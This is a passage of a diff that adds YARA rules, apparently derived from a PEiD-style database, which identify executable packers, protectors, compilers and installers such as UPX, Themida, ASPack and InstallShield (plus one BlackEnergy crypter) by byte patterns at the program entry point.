+		$0 = {EB 02 ?? ?? E8 ?? 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_PE_Pack_099__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [PE Pack 0.99] --> Anorganix"
+	strings:
+		$0 = {60 E8 11 00 00 00 5D 83 ED 06 80 BD E0 04 90 90 01 0F 84 F2 FF CC 0A}
+		$1 = {60 E8 11 00 00 00 5D 83 ED 06 80 BD E0 04 90 90 01 0F 84 F2 FF CC 0A}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Exe_Shield_v27_
+{
+	meta:
+		description = "Exe Shield v2.7"
+	strings:
+		$0 = {EB 06 68 F4 86 06 00 C3 9C 60 E8 02 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _WWPack32_v1x_
+{
+	meta:
+		description = "WWPack32 v1.x"
+	strings:
+		$0 = {53 55 8B E8 33 DB EB 60}
+	condition:
+		$0 at entrypoint
+}
+rule _Morphine_v33__Silent_Software__Silent_Shield_c2005_
+{
+	meta:
+		description = "Morphine v3.3 -> Silent Software & Silent Shield (c)2005"
+	strings:
+		$0 = {28 ?? ?? ?? 00 00 00 00 00 00 00 00 40 ?? ?? ?? 34 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4C ?? ?? ?? 5C ?? ?? ?? 00 00 00 00 4C ?? ?? ?? 5C ?? ?? ?? 00 00 00 00 4B 65 52 6E 45 6C 33 32 2E 64 4C 6C 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41}
+	condition:
+		$0
+}
+rule _FSG_v110_Eng__dulekxt__Microsoft_Visual_Cpp_50__60_
+{
+	meta:
+		description = "FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 5.0 / 6.0)"
+	strings:
+		$0 = {33 D2 0F BE D2 EB 01 C7 EB 01 D8 8D 05 80 ?? ?? ?? EB 02 CD 20 EB 01 F8 BE F4 00 00 00 EB}
+	condition:
+		$0 at entrypoint
+}
+rule _Themida_1201__Oreans_Technologies_h_
+{
+	meta:
+		description = "Themida 1.2.0.1 -> Oreans Technologies (h)"
+	strings:
+		$0 = {8B C5 8B D4 60 E8 00 00 00 00 5D 81 ED ?? ?? 35 09 89 95 ?? ?? 35 09 89 B5 ?? ?? 35 09 89 85 ?? ?? 35 09 83 BD ?? ?? 35 09 00 74 0C 8B E8 8B E2 B8 01 00 00 00 C2 0C 00 8B 44 24 24 89 85 ?? ?? 35 09 6A 45 E8 A3 00 00 00 68 9A 74 83 07 E8 DF 00 00 00 68 25}
+	condition:
+		$0
+}
+rule _SPLayer_v008_
+{
+	meta:
+		description = "SPLayer v0.08"
+	strings:
+		$0 = {8D 40 00 B9 ?? ?? ?? ?? 6A ?? 58 C0 0C ?? ?? 48 ?? ?? 66 13 F0 91 3B D9 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00}
+	condition:
+		$0
+}
+rule _PKLITE_v100c_1_
+{
+	meta:
+		description = "PKLITE v1.00c (1)"
+	strings:
+		$0 = {2E 8C 1E ?? ?? 8B 1E ?? ?? 8C DA 81 C2 ?? ?? 3B DA 72 ?? 81 EB ?? ?? 83 EB ?? FA 8E D3 BC ?? ?? FB FD BE ?? ?? 8B FE}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v110_Eng__dulekxt__Microsoft_Visual_Cpp_60__70_
+{
+	meta:
+		description = "FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0 / 7.0)"
+	strings:
+		$0 = {0B D0 8B DA E8 02 00 00 00 40 A0 5A EB 01 9D B8 80 ?? ?? 00 EB 02 CD 20 03 D3 8D 35 F4 00 00 00 EB 01 35 EB 01 88 80 CA 7C 80 F3 74 8B 38 EB 02 AC BA 03 DB E8 01 00 00 00 A5 5B C1 C2 0B 81 C7 DA 10 0A 4E EB 01 08 2B D1 83 EF 14 EB 02 CD 20 33 D3 83 EF 27}
+		$1 = {0B D0 8B DA E8 02 00 00 00 40 A0 5A EB 01 9D B8 80 ?? ?? 00 EB 02 CD 20 03 D3 8D 35 F4 00 00 00 EB 01 35 EB 01 88 80 CA 7C 80 F3 74 8B 38 EB 02 AC BA 03 DB E8 01 00 00 00 A5 5B C1 C2 0B 81 C7 DA 10 0A 4E EB 01 08 2B D1 83 EF 14 EB 02 CD 20 33 D3 83 EF 27}
+		$2 = {0B D0 8B DA E8 02 00 00 00 40 A0 5A EB 01 9D B8 80 ?? ?? ?? EB 02 CD 20 03 D3 8D 35 F4 00}
+		$3 = {F7 D8 40 49 EB 02 E0 0A 8D 35 80 ?? ?? ?? 0F B6 C2 EB 01 9C 8D 1D F4 00 00 00 EB 01 3C 80}
+		$4 = {87 FE E8 02 00 00 00 98 CC 5F BB 80 ?? ?? 00 EB 02 CD 20 68 F4 00 00 00 E8 01 00 00 00 E3}
+		$5 = {F7 DB 80 EA BF B9 2F 40 67 BA EB 01 01 68 AF ?? A7 BA 80 EA 9D 58 C1 C2 09 2B C1 8B D7 68}
+		$6 = {87 FE ?? 02 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00}
+		$7 = {EB 02 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3 at entrypoint or $4 at entrypoint or $5 at entrypoint or $6 at entrypoint or $7 at entrypoint
+}
+rule _SDProtect__Randy_Li_
+{
+	meta:
+		description = "SDProtect -> Randy Li"
+	strings:
+		$0 = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 88 88 88 08 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 58 64 A3 00 00 00 00 58 58 58 58 8B E8 E8 3B 00 00 00 E8 01 00 00 00 FF 58 05}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v190b2_
+{
+	meta:
+		description = "Armadillo v1.90b2"
+	strings:
+		$0 = {55 8B EC 6A FF 68 F0 C1 40 00 68 A4 89 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+		$1 = {55 8B EC 6A FF 68 F0 C1 40 00 68 A4 89 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _ASPack_v211_
+{
+	meta:
+		description = "ASPack v2.11"
+	strings:
+		$0 = {60 E9 3D 04 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_v099_
+{
+	meta:
+		description = "tElock v0.99"
+	strings:
+		$0 = {E9 ?? ?? FF FF 00 00 00 ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? 02 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 00 00 00 00 ?? ?? 02 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_v071_DLL_
+{
+	meta:
+		description = "UPX v0.71 [DLL]"
+	strings:
+		$0 = {80 7C 24 08 01 0F 85 95 01 00 00 60 E8 00 00 00 00 83}
+	condition:
+		$0 at entrypoint
+}
+rule _DBPE_v233_
+{
+	meta:
+		description = "DBPE v2.33"
+	strings:
+		$0 = {EB 20 ?? ?? 40 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 9C 55 57 56 52 51 53 9C E8 ?? ?? ?? ?? 5D 81 ED ?? ?? ?? ?? 9C 6A 10 73 0B EB 02 C1 51 E8 06 ?? ?? ?? C4 11 73 F7 5B CD 83 C4 04 EB 02 99 EB FF 0C 24 71}
+	condition:
+		$0 at entrypoint
+}
+rule _FASM_v15x_
+{
+	meta:
+		description = "FASM v1.5x"
+	strings:
+		$0 = {6A 00 FF 15 ?? ?? 40 00 A3 ?? ?? 40 00}
+	condition:
+		$0
+}
+rule _PseudoSigner_02_PEX_099__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [PEX 0.99] --> Anorganix"
+	strings:
+		$0 = {60 E8 01 00 00 00 55 83 C4 04 E8 01 00 00 00 90 5D 81 FF FF FF 00 01}
+		$1 = {60 E8 01 00 00 00 55 83 C4 04 E8 01 00 00 00 90 5D 81 FF FF FF 00 01}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _InstallAnywhere_61_Zero_G_Software_Inc_
+{
+	meta:
+		description = "InstallAnywhere 6.1 ->Zero G Software Inc"
+	strings:
+		$0 = {60 BE 00 A0 42 00 8D BE 00 70 FD FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07}
+	condition:
+		$0 at entrypoint
+}
+rule _PeCompact_2xx__BitSum_Technologies_
+{
+	meta:
+		description = "PeCompact 2.xx --> BitSum Technologies"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 6F 6D 70 61 63 74 32 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PESHiELD_v01b_MTE_
+{
+	meta:
+		description = "PESHiELD v0.1b MTE"
+	strings:
+		$0 = {E8 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? B9 1B 01 ?? ?? D1}
+	condition:
+		$0 at entrypoint
+}
+rule _CC_v261_Beta_
+{
+	meta:
+		description = "CC v2.61 Beta"
+	strings:
+		$0 = {BA ?? ?? B4 30 CD 21 3C 02 73 ?? 33 C0 06 50 CB}
+	condition:
+		$0 at entrypoint
+}
+rule _eXpressor_v12__CGSoftLabs_
+{
+	meta:
+		description = "eXpressor v1.2 -> CGSoftLabs"
+	strings:
+		$0 = {55 8B EC 81 EC D4 01 00 00 53 56 57 EB 0C 45 78 50 72 2D 76}
+	condition:
+		$0 at entrypoint
+}
+rule _Safe_20_
+{
+	meta:
+		description = "Safe 2.0"
+	strings:
+		$0 = {83 EC 10 53 56 57 E8 C4 01 00}
+	condition:
+		$0
+}
+rule _Microsoft_Visual_Cpp_60_DLL_
+{
+	meta:
+		description = "Microsoft Visual C++ 6.0 DLL"
+	strings:
+		$0 = {55 8B EC 53 8B 5D 08 56 8B 75 0C 57 8B 7D 10 85 F6 75 09 83 3D ?? ?? ?? ?? ?? EB 26 83 FE 01 74 05 83 FE 02 75 22 A1 ?? ?? ?? ?? 85 C0 74 09 57 56 53 FF D0 85 C0 74 0C 57 56 53 E8 15 FF FF FF 85 C0 75 04 33 C0 EB 4E}
+	condition:
+		$0
+}
+rule _EPW_v130_
+{
+	meta:
+		description = "EPW v1.30"
+	strings:
+		$0 = {06 57 1E 56 55 52 51 53 50 2E 8C 06 08 00 8C C0 83 C0 10 2E}
+	condition:
+		$0 at entrypoint
+}
+rule _PEQuake_V006__forgat_
+{
+	meta:
+		description = "PEQuake V0.06 -> forgat"
+	strings:
+		$0 = {E8 A5 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _DEF_v10_
+{
+	meta:
+		description = "DEF v1.0"
+	strings:
+		$0 = {BE ?? 01 40 00 6A ?? 59 80 7E 07 00 74 11 8B 46 0C 05 00 00 40 00 8B 56 10 30 10 40 4A 75 FA 83 C6 28 E2 E4 68 ?? 10 40 00 C3}
+		$1 = {BE ?? 01 40 00 6A 05 59 80 7E 07 00 74 11 8B 46}
+	condition:
+		$0 or $1 at entrypoint
+}
+rule _MSLRH_v032a__emadicius_
+{
+	meta:
+		description = "[MSLRH] v0.32a -> emadicius"
+	strings:
+		$0 = {EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03}
+	condition:
+		$0
+}
+rule _ASProtect_v11_MTE_
+{
+	meta:
+		description = "ASProtect v1.1 MTE"
+	strings:
+		$0 = {60 E9 ?? ?? ?? ?? 91 78 79 79 79 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _BlackEnergy_DDoS_Bot_Crypter_
+{
+	meta:
+		description = "BlackEnergy DDoS Bot Crypter"
+	strings:
+		$0 = {55 ?? ?? 81 EC 1C 01 00 00 53 56 57 6A 04 BE 00 30 00 00 56 FF 35 00 20 11 13 6A 00 E8 ?? 03 00 00 ?? ?? 83 C4 10 ?? FF 89 7D F4 0F}
+	condition:
+		$0 at entrypoint
+}
+rule _PKLITE_v112_v115_v120_1_
+{
+	meta:
+		description = "PKLITE v1.12, v1.15, v1.20 (1)"
+	strings:
+		$0 = {B8 ?? ?? BA ?? ?? 05 ?? ?? 3B 06 ?? ?? 73 ?? 2D ?? ?? FA 8E D0 FB 2D ?? ?? 8E C0 50 B9 ?? ?? 33 FF 57 BE ?? ?? FC F3 A5 CB B4 09 BA ?? ?? CD 21 CD 20}
+	condition:
+		$0 at entrypoint
+}
+rule _WWPACK_v302_v302a_Extractable_
+{
+	meta:
+		description = "WWPACK v3.02, v3.02a (Extractable)"
+	strings:
+		$0 = {B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 33 C9 B1 ?? 51 06 06 BB ?? ?? 53 8C D3}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v110_Eng__dulekxt__Borland_Cpp_
+{
+	meta:
+		description = "FSG v1.10 (Eng) -> dulek/xt -> (Borland C++)"
+	strings:
+		$0 = {23 CA EB 02 5A 0D E8 02 00 00 00 6A 35 58 C1 C9 10 BE 80 ?? ?? 00 0F B6 C9 EB 02 CD 20 BB F4 00 00 00 EB 02 04 FA EB 01 FA EB 01 5F EB 02 CD 20 8A 16 EB 02 11 31 80 E9 31 EB 02 30 11 C1 E9 11 80 EA 04 EB 02 F0 EA 33 CB 81 EA AB AB 19 08 04 D5 03 C2 80 EA}
+		$1 = {23 CA EB 02 5A 0D E8 02 00 00 00 6A 35 58 C1 C9 10 BE 80 ?? ?? 00 0F B6 C9 EB 02 CD 20 BB F4 00 00 00 EB 02 04 FA EB 01 FA EB 01 5F EB 02 CD 20 8A 16 EB 02 11 31 80 E9 31 EB 02 30 11 C1 E9 11 80 EA 04 EB 02 F0 EA 33 CB 81 EA AB AB 19 08 04 D5 03 C2 80 EA}
+		$2 = {23 CA EB 02 5A 0D E8 02 00 00 00 6A 35 58 C1 C9 10 BE 80 ?? ?? 00 0F B6 C9 EB 02 CD 20 BB}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _MEGALITE_v120a_
+{
+	meta:
+		description = "MEGALITE v1.20a"
+	strings:
+		$0 = {B8 ?? ?? BA ?? ?? 05 ?? ?? 3B 2D 73 ?? 72 ?? B4 09 BA ?? ?? CD 21 CD 90}
+	condition:
+		$0 at entrypoint
+}
+rule _ZipWorxSecureEXE_v25__ZipWORX_Technologies_LLC_h_
+{
+	meta:
+		description = "ZipWorxSecureEXE v2.5 -> ZipWORX Technologies LLC (h)"
+	strings:
+		$0 = {E9 B8 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 53 65 63 75 72 65 45 58 45 20 45 78 65 63 75 74 61 62 6C 65 20 46 69 6C 65 20 50 72 6F 74 65 63 74 6F 72 0D 0A 43 6F 70 79 72 69 67 68 74 28 63 29 20 32 30}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_v71_DLL_Debug_
+{
+	meta:
+		description = "Microsoft Visual C++ v7.1 DLL (Debug)"
+	strings:
+		$0 = {55 8B EC ?? ?? 0C 83 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 8B}
+	condition:
+		$0 at entrypoint
+}
+rule _Freshbind_v20__gFresh_
+{
+	meta:
+		description = "Freshbind v2.0 -> gFresh"
+	strings:
+		$0 = {64 A1 00 00 00 00 55 89 E5 6A FF 68 1C A0 41 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Shrinker_34_
+{
+	meta:
+		description = "Shrinker 3.4"
+	strings:
+		$0 = {55 8B EC 56 57 75 6B 68 00 01 00 00 E8 11 0B 00 00 83 C4 04}
+	condition:
+		$0
+}
+rule _DJoin_v07_public_RC4_encryption__drmist_
+{
+	meta:
+		description = "DJoin v0.7 public (RC4 encryption) -> drmist"
+	strings:
+		$0 = {C6 05 ?? ?? 40 00 00 C6 05 ?? ?? 40 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? 00}
+	condition:
+		$0 at entrypoint
+}
+rule _EncryptPE_22004810__22005314__WFS_
+{
+	meta:
+		description = "EncryptPE 2.2004.8.10 - 2.2005.3.14 -> WFS"
+	strings:
+		$0 = {60 9C 64 FF 35 00 00 00 00 E8 7A}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v110b2_
+{
+	meta:
+		description = "PECompact v1.10b2"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 60 40 ?? 87 DD 8B 85 94 60}
+	condition:
+		$0 at entrypoint
+}
+rule _Embed_PE_v113__cyclotron_
+{
+	meta:
+		description = "Embed PE v1.13 -> cyclotron"
+	strings:
+		$0 = {83 EC 50 60 68 5D B9 52 5A E8 2F 99 00 00 DC 99 F3 57 05 68}
+	condition:
+		$0 at entrypoint
+}
+rule _Unknown_encryptor_1_
+{
+	meta:
+		description = "Unknown encryptor (1)"
+	strings:
+		$0 = {EB ?? 2E 90 ?? ?? 8C DB 8C CA 8E DA FA 8B EC BE ?? ?? BC ?? ?? BF}
+	condition:
+		$0 at entrypoint
+}
+rule _Watcom_CCpp_
+{
+	meta:
+		description = "Watcom C/C++"
+	strings:
+		$0 = {E9 ?? ?? 00 00 03 10 40 00 57 41 54 43 4F 4D 20 43 2F 43 2B 2B 33 32 20 52 75 6E 2D 54 69 6D 65 20 73 79 73 74 65 6D 2E 20 28 63 29 20 43 6F 70 79 72 69 67 68 74 20 62 79 20 57 41 54 43 4F 4D 20 49 6E 74 65 72 6E 61 74 69 6F 6E 61 6C 20 43 6F 72 70 2E 20}
+	condition:
+		$0
+}
+rule _DEF_10__bartxt_
+{
+	meta:
+		description = "DEF 1.0 -> bart/xt"
+	strings:
+		$0 = {BE ?? ?? 40 00 6A ?? 59 80 7E 07 00 74 11 8B 46 0C 05 00 00 40 00 8B 56 10 30 10 40 4A 75 FA 83 C6 28 E2 E4 68 ?? ?? 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+		$1 = {BE ?? ?? 40 00 6A ?? 59 80 7E 07 00 74 11 8B 46 0C 05 00 00 40 00 8B 56 10 30 10 40 4A 75 FA 83 C6 28 E2 E4 68 ?? ?? 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _bambam_V001__bedrock_
+{
+	meta:
+		description = "bambam V0.01 -> bedrock"
+	strings:
+		$0 = {6A 14 E8 9A 05 00 00 8B D8 53 68 ?? ?? ?? ?? E8 6C FD FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _Unknown_Protected_Mode_compiler_2_
+{
+	meta:
+		description = "Unknown Protected Mode compiler (2)"
+	strings:
+		$0 = {FA FC 0E 1F E8 ?? ?? 8C C0 66 0F B7 C0 66 C1 E0 ?? 66 67 A3}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_ASProtect__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [ASProtect] --> Anorganix"
+	strings:
+		$0 = {60 90 90 90 90 90 90 5D 90 90 90 90 90 90 90 90 90 90 90 03 DD E9}
+		$1 = {60 90 90 90 90 90 90 5D 90 90 90 90 90 90 90 90 90 90 90 03 DD E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _SafeDiscSafeCast_2xx__3xx__Macrovision_
+{
+	meta:
+		description = "SafeDisc/SafeCast 2.xx - 3.xx -> Macrovision"
+	strings:
+		$0 = {55 8B EC 60 BB ?? ?? ?? ?? 33 C9 8A 0D 3D ?? ?? ?? 85 C9 74 0C B8 ?? ?? ?? ?? 2B C3 83 E8 05 EB 0E 51 B9 ?? ?? ?? ?? 8B C1 2B C3 03 41 01 59 C6 03 E9 89 43 01 51 68 09 ?? ?? ?? 33 C0 85 C9 74 05 8B 45 08 EB 00 50 E8 76 00 00 00 83 C4 08 59 83 F8 00 74 1C C6 03 C2 C6 43 01 0C 85 C9 74 09 61 5D B8 00 00 00 00 EB 97 50 A1 29 ?? ?? ?? ?? D0 61 5D EB 46 80 7C 24 08 00 75 3F 51 8B 4C 24 04 89 0D ?? ?? ?? ?? B9 ?? ?? ?? ?? 89 4C 24 04 59 EB 28 50 B8 2D ?? ?? ?? ?? 70 08 8B 40 0C FF D0 B8 2D ?? ?? ?? ?? 30 8B 40 04 FF D0 58 FF 35 ?? ?? ?? ?? C3 72 16 61 13 60 0D E9 ?? ?? ?? ?? CC CC 81 EC E8 02 00 00 53 55 56 57}
+	condition:
+		$0 at entrypoint
+}
+rule _COMPACK_v51_
+{
+	meta:
+		description = "COMPACK v5.1"
+	strings:
+		$0 = {BD ?? ?? 50 06 8C CB 03 DD 8C D2 4B 8E DB BE ?? ?? BF ?? ?? 8E C2 B9 ?? ?? F3 A5 4A 4D 75 ?? 8B F7 8E DA 0E 07 06 16}
+	condition:
+		$0 at entrypoint
+}
+rule _PEncrypt_v30_
+{
+	meta:
+		description = "PEncrypt v3.0"
+	strings:
+		$0 = {E8 00 00 00 00 5D 81 ED 05 10 40 00 8D B5 24 10 40 00 8B FE B9 0F 00 00 00 BB ?? ?? ?? ?? AD 33 C3 E2 FA}
+	condition:
+		$0 at entrypoint
+}
+rule _WATCOM_CCpp_32_RunTime_System_19881994_
+{
+	meta:
+		description = "WATCOM C/C++ 32 Run-Time System 1988-1994"
+	strings:
+		$0 = {FB 83 ?? ?? 89 E3 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 66 ?? ?? ?? 66 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 29 C0 B4 30 CD 21}
+	condition:
+		$0 at entrypoint
+}
+rule _Silicon_Realms_Install_Stub_
+{
+	meta:
+		description = "Silicon Realms Install Stub"
+	strings:
+		$0 = {55 8B EC 6A FF 68 ?? 92 40 00 68 ?? ?? 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 ?? ?? 40 00 33 D2 8A D4 89 15 ?? ?? 40 00 8B C8 81 E1 FF 00 00 00 89 0D ?? ?? 40 00 C1 E1 08 03 CA 89 0D ?? ?? 40 00 C1 E8 10 A3}
+	condition:
+		$0
+}
+rule _Microsoft_CAB_SFX_
+{
+	meta:
+		description = "Microsoft CAB SFX"
+	strings:
+		$0 = {E8 0A 00 00 00 E9 7A FF FF FF CC CC CC CC CC}
+	condition:
+		$0 at entrypoint
+}
+rule _MicroJoiner_15__coban2k_
+{
+	meta:
+		description = "MicroJoiner 1.5 -> coban2k"
+	strings:
+		$0 = {BF 05 10 40 00 83 EC 30 8B EC E8 C8 FF FF FF E8 C3 FF FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_30_old_crap_
+{
+	meta:
+		description = "Microsoft Visual C++ (3.0 old crap)"
+	strings:
+		$0 = {64 A1 00 00 00 00 55 ?? ?? 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 ?? ?? ?? ?? ?? 00 00 83 EC 10}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_v051_
+{
+	meta:
+		description = "tElock v0.51"
+	strings:
+		$0 = {C1 EE 00 66 8B C9 EB 01 EB 60 EB 01 EB 9C E8 00 00 00 00 5E 83 C6 5E 8B FE 68 79 01 59 EB 01 EB AC 54 E8 03 5C EB 08}
+	condition:
+		$0 at entrypoint
+}
+rule _UPXFreak_v01_Borland_Delphi__HMX0101_
+{
+	meta:
+		description = "UPXFreak v0.1 (Borland Delphi) -> HMX0101"
+	strings:
+		$0 = {BE ?? ?? ?? ?? 83 C6 01 FF E6 00 00 00 ?? ?? ?? 00 03 00 00 00 ?? ?? ?? ?? 00 10 00 00 00 00 ?? ?? ?? ?? 00 00 ?? F6 ?? 00 B2 4F 45 00 ?? F9 ?? 00 EF 4F 45 00 ?? F6 ?? 00 8C D1 42 00 ?? 56 ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? 24 ?? 00 ?? ?? ?? 00}
+	condition:
+		$0 at entrypoint
+}
+rule _EXECryptor_224__StrongbitSoftComplete_Development_h3_
+{
+	meta:
+		description = "EXECryptor 2.2.4 -> Strongbit/SoftComplete Development (h3)"
+	strings:
+		$0 = {6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 00 00 00 45 78 69 74 50 72 6F 63 65 73 73}
+		$1 = {6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 00 00 00 45 78 69 74 50 72 6F 63 65 73 73}
+	condition:
+		$0 or $1
+}
+rule _Unknown_packer_05_
+{
+	meta:
+		description = "Unknown packer (05)"
+	strings:
+		$0 = {FA BB ?? ?? B9 ?? ?? 87 E5 87 27 03 E3 91 8A CB 80 E1 ?? D3 C4 91 33 E3 87 27}
+	condition:
+		$0 at entrypoint
+}
+rule _Setup_Factory_v6003_Setup_Launcher_
+{
+	meta:
+		description = "Setup Factory v6.0.0.3 Setup Launcher"
+	strings:
+		$0 = {55 8B EC 6A FF 68 90 61 40 00 68 70 3B 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 14 61 40 00 33 D2 8A D4 89 15 5C 89 40 00 8B C8 81 E1 FF 00 00 00 89 0D 58 89 40 00 C1 E1 08 03 CA 89 0D 54 89 40 00 C1 E8 10 A3 50 89}
+	condition:
+		$0
+}
+rule _Enigma_protector_110_unregistered_
+{
+	meta:
+		description = "Enigma protector 1.10 (unregistered)"
+	strings:
+		$0 = {60 72 80 72 88 72 8C 72 90 72 94 72 98 72 9C 72 A0 72 A4 59 A8 B0 5C E8 39 D5 39 E4 39 F1 31 F9 5C 3D 58 CA 5F 56 B1 2D 20 7A 2E 30 16 32 72 2B 72 36 1C A5 33 A9 9C AD 9C B1 9C B5 9C B9 9C BD 9C C1 9C C5 9C C9 9C CD 9C D1 9C D5 9C D9 9C DD 9C E1 9C E5 89}
+		$1 = {60 72 80 72 88 72 8C 72 90 72 94 72 98 72 9C 72 A0 72 A4 59 A8 B0 5C E8 39 D5 39 E4 39 F1 31 F9 5C 3D 58 CA 5F 56 B1 2D 20 7A 2E 30 16 32 72 2B 72 36 1C A5 33 A9 9C AD 9C B1 9C B5 9C B9 9C BD 9C C1 9C C5 9C C9 9C CD 9C D1 9C D5 9C D9 9C DD 9C E1 9C E5 89}
+	condition:
+		$0 or $1
+}
+rule _InstallShield_Custom_
+{
+	meta:
+		description = "InstallShield Custom"
+	strings:
+		$0 = {55 8B EC 83 EC 44 56 FF 15 ?? ?? 41 00 8B F0 85 F6 75 08 6A FF FF 15 ?? ?? 41 00 8A 06 57 8B 3D ?? ?? 41 00 3C 22 75 1B 56 FF D7 8B F0 8A 06 3C 22 74 04 84 C0 75 F1 80 3E 22 75 15 56 FF D7 8B}
+	condition:
+		$0 at entrypoint
+}
+rule _CrunchPE_
+{
+	meta:
+		description = "Crunch/PE"
+	strings:
+		$0 = {55 E8 ?? ?? ?? ?? 5D 83 ED 06 8B C5 55 60 89 AD ?? ?? ?? ?? 2B 85}
+	condition:
+		$0 at entrypoint
+}
+rule _SCRAM_vC5_
+{
+	meta:
+		description = "SCRAM! vC5"
+	strings:
+		$0 = {B8 ?? ?? 50 9D 9C 58 25 ?? ?? 75 ?? BA ?? ?? B4 09 CD 21 CD 20}
+	condition:
+		$0 at entrypoint
+}
+rule _Inno_Setup_Module_v129_
+{
+	meta:
+		description = "Inno Setup Module v1.2.9"
+	strings:
